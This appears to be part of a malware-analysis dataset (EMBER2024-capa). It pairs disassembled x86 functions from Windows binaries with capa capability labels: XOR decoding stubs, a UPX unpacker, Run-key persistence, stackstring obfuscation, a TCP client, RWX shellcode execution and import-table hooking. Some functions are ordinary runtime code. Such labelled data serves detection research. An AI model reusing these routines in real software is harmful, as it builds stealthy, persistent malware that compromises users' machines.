joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b9575
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c1338
cmp edx, dword [eax]
je 0x4b9597
add eax, 8
inc ecx
cmp eax, 0x4c13c8
jl 0x4b9588
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c1338]
jne 0x4b96c5
mov eax, dword [0x4c5cbc]
cmp eax, 1
je 0x4b969f
test eax, eax
jne 0x4b95c8
cmp dword [0x4c1264], 1
je 0x4b969f
cmp edx, 0xfc
je 0x4b96c5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4b95ff
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004b9f60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004ba3f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4b9642
lea eax, [ebp - 0x1a4]
push eax
call fcn.004ba3f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4be9fc
push edi
call fcn.004bc2c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004b9f60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004b9f70
lea eax, [ebp - 0xa0]
push 0x4be9dc
push eax
call fcn.004b9f70
push dword [esi + 0x4c133c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004b9f70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bc234
add esp, 0x2c
pop edi
jmp 0x4b96c5
lea eax, [ebp + 8]
lea esi, [esi + 0x4c133c]
push 0
push eax
push dword [esi]
call fcn.004ba3f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x40d24c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40d25b
pop dword [ebp - 0x14]
mov eax, 0xc403e21f
sub eax, 0xc3c30fc4
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3fb8c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x5515
xor edx, edx
add edx, eax
mov ebx, 0x145fb0df
add ebx, 0xebe37d21
add ebx, dword [ebp - 0x14]
mov edi, 0xcc9e9c00
xor dword [ebp - 0xc], 0x963de192
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xcaf69aef
xor esi, edi
sub dword [ebp - 0x10], ebx
mov dword [edx], esi
xor dword [ebp - 0xc], ecx
add edx, 0xeeb0ca8d
sub edx, 0xeeb0ca89
add ebx, 0x22ac19dc
add ebx, 0xdd53e628
loop 0x40d2ab
add eax, 0x14727
xor ebx, ebx
add ebx, eax
add eax, 0xebc01d46
sub eax, 0xebc01d41
mov ecx, 0x4f150274
sub ecx, 0x4ed50274
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4ae910
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x64000]
push edi
or ebp, 0xffffffff
jmp 0x4ae932
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4ae939
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae928
mov eax, 1
add ebx, ebx
jne 0x4ae94b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4ae95c
jne 0x4ae97b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae97b
dec eax
add ebx, ebx
jne 0x4ae968
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4ae940
add ebx, ebx
jne 0x4ae977
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4ae9cd
xor ecx, ecx
sub eax, 3
jb 0x4ae993
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4aea02
sar eax, 1
mov ebp, eax
jmp 0x4ae99e
add ebx, ebx
jne 0x4ae99e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae96c
inc ecx
add ebx, ebx
jne 0x4ae9ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ae96c
add ebx, ebx
jne 0x4ae9b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4ae9ae
jne 0x4ae9ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4ae9ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4ae9ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4ae9de
jmp 0x4ae92e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4ae9ec
add edi, ecx
jmp 0x4ae92e
pop esi
mov edi, esi
mov ecx, 0x2d42
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4aea0a
cmp byte [edi], 0x13
jne 0x4aea0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4aea0f
lea edi, [esi + 0xa9000]
mov eax, dword [edi]
or eax, eax
je 0x4aea87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xae1dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xae2c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4aea3c
mov ecx, edi
jns 0x4aea6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xae2d0]
or eax, eax
je 0x4aea81
mov dword [ebx], eax
add ebx, 4
jmp 0x4aea59
call dword [esi + 0xae2cc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4aeab8
cmp al, 0xef
ja 0x4aeaab
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4aea8d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4aea9a
mov ebp, dword [esi + 0xae2d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4aeaec
sub esp, 0xffffff80
jmp 0x456142
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401c66
pop dword [ebp - 0x40]
mov eax, 0x401c66
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x3b7e9bcf
sub dword [ebp - 0x50], 0xed2c5684
mov dword [ebp - 0x4c], 0x5116522d
add dword [ebp - 0x4c], 0xe11cfa18
mov dword [ebp - 0x48], 0x5e876dcc
sub dword [ebp - 0x48], 0x123b299e
mov dword [ebp - 0x44], 0x7d50618f
add dword [ebp - 0x44], 0x82af9e71
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xc2494bbf
add dword [ebp - 0x50], 0xb2291d97
mov dword [ebp - 0x4c], 0x8a27dec7
add dword [ebp - 0x4c], 0xb74482ae
mov dword [ebp - 0x48], 0x2fc5a60b
add dword [ebp - 0x48], 0x33a9c661
mov dword [ebp - 0x44], 0xea9407db
add dword [ebp - 0x44], 0x156bf825
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x3b4a9f07
sub eax, 0x3b0a6edb
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x35456
push 0
call eax
mov ecx, 0x29ab90fe
add ecx, 0xd654b22b
xor ebx, ebx
add ebx, eax
mov edx, 0x792767a2
add edx, 0x8719085e
add edx, dword [ebp - 0x40]
mov edi, 0xfab6b14
add edi, 0x5eb84ea3
xor dword [ebp - 0x34], 0xf7e6c6e3
mov esi, dword [edx]
add esi, edi
mov dword [ebx], esi
sub dword [ebp - 0x20], 0x831b03b
add ebx, 0x152cbd4c
add ebx, 0xead342b8
add edx, 0x952423b9
add edx, 0x6adbdc4b
loop 0x401d80
add eax, 0x3ec33476
add eax, 0xc13dcb01
mov ebx, eax
add eax, 5
mov ecx, 0xb58f790e
sub ecx, 0xb54f790e
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x4011d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
push esi
push edi
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0xd]
mov dword [esp + 8], eax
mov byte [esp + 0xc], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [esp + 0x114]
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov eax, esi
pop edi
pop esi
add esp, 0x108
ret

Function at 0x401310
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
push esi
call fcn.004010a0
mov ecx, dword [esp + 0x14]
lea eax, [esp + 4]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov edx, dword [eax + 8]
mov eax, dword [eax + 4]
test eax, eax
jne 0x401346
mov eax, esi
mov ecx, dword [esp + 0xc]
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x401353
mov ecx, esi
inc edx
push edx
mov edx, dword [esp + 8]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ecx
ret

Function at 0x401380
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0xc]
push eax
push ebx
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4013fa
mov esi, dword [esp + 0x138]
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x30]
push esi
push ecx
call edi
add esp, 8
test eax, eax
je 0x4013e5
lea edx, [esp + 0xc]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4013fa
lea eax, [esp + 0x30]
push esi
push eax
call edi
add esp, 8
test eax, eax
jne 0x4013c7
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
add esp, 0x128
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x128
ret
Function at 0x401410
Capabilities:
Enumerate threads

Disassembly:
push 0xffffffffffffffff
push 0x4032d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov al, byte [esp + 0x44]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [esp + 0xc], ebx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
push ebx
push 4
mov dword [esp + 0x4c], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x20]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x28], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x401498
mov edi, dword [esp + 0x50]
cmp dword [esp + 0x2c], edi
jne 0x401489
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push 1
push eax
lea ecx, [esp + 0x1c]
call fcn.00401c40
lea ecx, [esp + 0x20]
push ecx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x40146e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x14]
mov dl, byte [esp + 0x10]
cmp ecx, ebx
mov byte [esi], dl
jne 0x4014b5
xor eax, eax
jmp 0x4014be
mov eax, dword [esp + 0x18]
sub eax, ecx
sar eax, 2
cmp eax, ebx
jge 0x4014c4
xor eax, eax
shl eax, 2
push eax
call sub.MFC42.DLL_operatornew
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
add esp, 4
cmp ecx, edx
mov dword [esi + 4], eax
je 0x4014f5
cmp eax, ebx
je 0x4014e7
mov edi, dword [ecx]
mov dword [eax], edi
add ecx, 4
add eax, 4
cmp ecx, edx
jne 0x4014df
mov ecx, dword [esp + 0x14]
push ecx
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x40]
add esp, 4
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x3c
ret

Function at 0x401560
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x34]
push edi
push ecx
xor ebp, ebp
call ebx
add esp, 8
test eax, eax
je 0x4015c4
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4015c8
lea eax, [esp + 0x34]
push edi
push eax
call ebx
add esp, 8
test eax, eax
jne 0x4015a6
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x4029b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1ac
push ebx
push esi
mov esi, ecx
mov al, 0x53
mov byte [esp + 9], al
mov byte [esp + 0xb], al
mov dword [esi], 0x40483c
mov ecx, dword [0x406704]
lea eax, [esp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x16], 0x41
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], bl
call edi
lea edx, [esp + 0x28]
push edx
push 0x202
call eax
mov ecx, dword [0x406700]
mov al, 0x65
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call edi
push ebx
push ebx
push 1
push ebx
call eax
mov dword [esi + 0xc], eax
mov ecx, 0x13718
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0x4dc74], ebx
mov dword [esi + 4], ebx
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x1ac
ret

Function at 0x402b10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x402b33
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402b96
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x402b3e
push str.CreateThread
push 0x406044
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push 0x402bd0
push 0
push 0
call eax
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x402cb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
push 0x40
push 0x3000
push 0x4dc60
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x402cd1
pop esi
pop ebx
ret
push edi
mov ecx, 0x13718
add esi, 0x4dc78
mov edi, ebx
push str.CreateThread
push 0x406044
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push ebx
push ebx
push 0
push 0
call eax
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x4163ee
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x423458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407f85
mov dword [ebp - 0x14], eax
cmp dword [0x82103c], esi
jne 0x4164e1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41646e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4165c1
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4165c1
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4165c1
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x82103c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x821040], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x821044], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x82104c], eax
test eax, eax
je 0x4164de
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x821048], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x416506
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4164f9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41651b
push 4
pop eax
jmp 0x4165c3
cmp dword [ebp - 0x14], esi
je 0x41651b
push dword [0x82103c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x416500
mov eax, dword [0x821048]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x416579
cmp dword [0x82104c], edi
je 0x416579
push eax
call ebx
push dword [0x82104c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x416579
test eax, eax
je 0x416579
call ecx
test eax, eax
je 0x41656e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41656e
test byte [ebp - 8], 1
jne 0x416579
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4165a9
mov eax, dword [0x821040]
cmp eax, edi
je 0x4165a6
push eax
call ebx
test eax, eax
je 0x4165a6
call eax
mov esi, eax
test esi, esi
je 0x4165a6
mov eax, dword [0x821044]
cmp eax, edi
je 0x4165a6
push eax
call ebx
test eax, eax
je 0x4165a6
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x82103c]
call ebx
test eax, eax
je 0x4165c1
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4165c3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f2e
mov esp, ebp
pop ebp
ret
Function at 0x100011a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100011fd
push esi
mov esi, dword [ebp + 8]
push 0x1000
push 0x40
mov dword [0x100040b8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x800
push eax
push esi
mov dword [0x100040b4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor esi, esi
mov ecx, dword [esi + 0x10003160]
call fcn.10001210
add esi, 4
cmp esi, 0x28
jb 0x100011d4
push 0
push 0
push 0
push 0x10002110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov eax, 1
pop ebp
ret 0xc

Function at 0x10001210
Capabilities:
Allocate or change rwx memory
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
push edi
lea eax, [ebp - 0x10]
mov ebx, ecx
push eax
push 0x100
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
mov eax, dword [ebp - 0x10]
xor edi, edi
mov dword [ebp - 0x14], edi
test eax, eax
je 0x1000138c
push esi
nop dword [eax + eax]
mov esi, dword [ebp + edi*4 - 0x148]
mov dword [ebp - 4], esi
cmp esi, dword [0x100040b8]
je 0x1000137f
push 0x1c
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000137c
push 0xc
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp - 0x28]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000137c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000137c
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x18], eax
mov ecx, dword [eax + 0x80]
mov eax, dword [eax + 0x84]
add ecx, esi
add eax, ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, eax
jae 0x1000137c
lea edi, [ecx + 0xc]
mov dword [ebp - 0xc], edi
nop
mov eax, dword [edi]
test eax, eax
je 0x10001379
push dword [ebx]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1000135c
mov esi, dword [edi + 4]
mov ecx, dword [ebp - 4]
add esi, ecx
mov edi, dword [edi - 0xc]
add edi, ecx
mov eax, dword [edi]
test eax, eax
js 0x1000134b
add ecx, 2
add eax, ecx
push eax
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x10001348
lea eax, [ebp - 8]
push eax
push 4
push 4
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi]
mov dword [ebx + 0xc], eax
mov eax, dword [ebx + 8]
mov dword [esi], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
add esi, 4
add edi, 4
cmp dword [esi], 0
jne 0x10001306
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
add edi, 0x14
mov dword [ebp - 0xc], edi
mov ecx, dword [eax + 0x84]
lea eax, [edi - 0xc]
add ecx, dword [ebp - 0x1c]
cmp eax, ecx
jb 0x100012e0
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, eax
jb 0x10001250
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001700
Capabilities:
Generate random numbers via winapi
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100040b0]
push ebx
mov ebx, ecx
mov dword [ebp - 4], ebx
push esi
push edi
test eax, eax
jne 0x1000173c
push 0xf0000040
push 1
push eax
push eax
push 0x100040b0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x10001737
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x100040b0]
lea ecx, [ebp - 8]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 8]
xor edx, edx
div dword [ebx + 4]
mov ebx, dword [ebx]
xor edi, edi
xor esi, esi
test ebx, ebx
jle 0x1000177a
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
add ecx, 0xc
mov eax, dword [ecx]
add eax, edi
cmp edx, edi
jb 0x10001770
cmp edx, eax
jbe 0x10001785
inc esi
add ecx, 0x1c
mov edi, eax
cmp esi, ebx
jl 0x10001764
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x100040b0]
test eax, eax
jne 0x100017b3
push 0xf0000040
push 1
push eax
push eax
push 0x100040b0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100017ae
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x100040b0]
lea ecx, [ebp - 8]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 4]
lea ecx, [esi*8]
sub ecx, esi
xor edx, edx
pop edi
mov eax, dword [eax + 8]
lea esi, [eax + ecx*4]
mov eax, dword [ebp - 8]
mov ecx, dword [esi + 0xc]
sub ecx, 0xffff
div ecx
add edx, dword [esi]
mov eax, edx
mov edx, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret